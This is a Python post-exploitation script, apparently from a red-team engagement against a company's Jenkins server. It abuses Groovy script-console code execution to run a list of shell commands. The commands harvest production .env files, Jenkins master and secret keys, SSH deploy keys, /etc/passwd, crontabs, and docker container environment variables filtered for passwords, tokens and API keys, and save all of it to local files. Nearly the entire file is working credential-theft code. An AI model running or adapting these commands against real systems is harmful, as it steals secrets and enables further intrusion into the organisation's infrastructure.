#!/usr/bin/env python3
"""L4: extract critical files from Jenkins host."""
import sys, os
sys.path.insert(0, "/root/ir-assessment/redteam/camelsoft")
from l3_script_console import run_groovy

CMDS = {
    "env_production": "cat /var/lib/jenkins/workspace/camelsoft-website/.env.production 2>/dev/null",
    "env_example_website": "cat /var/lib/jenkins/workspace/camelsoft-website/.env.example 2>/dev/null",
    "env_example_api": "cat /var/lib/jenkins/workspace/camelsoft-website-api/.env.example 2>/dev/null",
    "kilo_master_key": "cat /var/lib/jenkins/userContent/kilo_master.key 2>/dev/null",
    "master_key": "cat /var/lib/jenkins/secrets/master.key 2>/dev/null",
    "secret_key": "cat /var/lib/jenkins/secret.key 2>/dev/null",
    "authorized_keys": "cat /var/lib/jenkins/.ssh/authorized_keys 2>/dev/null",
    "jenkins_deploy_key": "cat /var/lib/jenkins/.ssh/jenkins_deploy 2>/dev/null",
    "docker_compose_files": "find /var/lib/jenkins -maxdepth 4 -name docker-compose.yml -o -name docker-compose.yaml -o -name .env.production 2>/dev/null",
    "docker_inspect_zytoon": "docker inspect zytoon-backend 2>/dev/null | head -100",
    "docker_inspect_mailserver": "docker inspect mailserver 2>/dev/null | head -80",
    "docker_env_mailserver": "docker exec mailserver env 2>/dev/null | head -40",
    "docker_env_zytoon": "docker exec zytoon-backend env 2>/dev/null | head -40",
    "etc_hosts": "cat /etc/hosts 2>/dev/null",
    "resolv": "cat /etc/resolv.conf 2>/dev/null",
    "passwd": "cat /etc/passwd 2>/dev/null | grep -v nologin | grep -v false",
    "crontab": "crontab -l 2>/dev/null; ls -la /etc/cron.d/ 2>/dev/null",
    "docker_all_envs": "for c in zytoon-backend zytoon-website zytoon-dashboard mailserver roundcube sonarqube; do echo \"== $c ==\"; docker exec $c env 2>/dev/null | grep -iE 'PASS|SECRET|TOKEN|KEY|DB_|SMTP|REDIS|JWT|API' ; done",
    "build_logs_huna": "ls /var/lib/jenkins/jobs/huna-server/builds/ 2>/dev/null && cat /var/lib/jenkins/jobs/huna-server/builds/*/log 2>/dev/null | head -200",
    "build_logs_ordrat": "ls /var/lib/jenkins/jobs/ordrat-backend/builds/ 2>/dev/null && cat /var/lib/jenkins/jobs/ordrat-backend/builds/*/log 2>/dev/null | head -200",
    "jenkinsfile_huna": "cat /var/lib/jenkins/workspace/huna-server/Jenkinsfile 2>/dev/null; find /var/lib/jenkins/jobs/huna-server -name Jenkinsfile 2>/dev/null -exec cat {} \\;",
    "jenkinsfile_ordrat": "find /var/lib/jenkins -name Jenkinsfile 2>/dev/null -exec echo FILE: {} \\; -exec cat {} \\;",
    "docker_networks": "docker network ls 2>/dev/null; echo '---'; docker network inspect bridge 2>/dev/null | head -60",
    "docker_volumes": "docker volume ls 2>/dev/null",
    "roundcube_config": "docker exec roundcube cat /var/www/html/config/config.inc.php 2>/dev/null | head -40",
    "mailserver_config": "docker exec mailserver cat /tmp/docker-mailserver/docker-compose.yml 2>/dev/null; docker exec mailserver ls /tmp/docker-mailserver/ 2>/dev/null",
}

os.makedirs("rce_output", exist_ok=True)
results = {}
for label, cmd in CMDS.items():
    groovy = 'def proc = ["bash","-c",%s].execute()\nproc.waitFor()\nprintln(proc.text)\nif(proc.err.text) { println("STDERR:" + proc.err.text) }' % repr(cmd)
    out = run_groovy(groovy)
    results[label] = out
    fname = "rce_output/" + label + ".txt"
    with open(fname, "w") as f:
        f.write(out)
    # Clean preview
    cut = out.find("java.io.IOException")
    if cut == -1:
        cut = out.find("\tat java.base")
    if cut == -1:
        cut = out.find("\tat org.codehaus")
    clean = out[:cut].rstrip() if cut > 0 else out
    preview = clean[:150].replace("\n", " | ")
    print("[+] %s -> %s (%d bytes): %s" % (label, fname, len(out), preview))

print("\n[*] Done. All output in rce_output/")
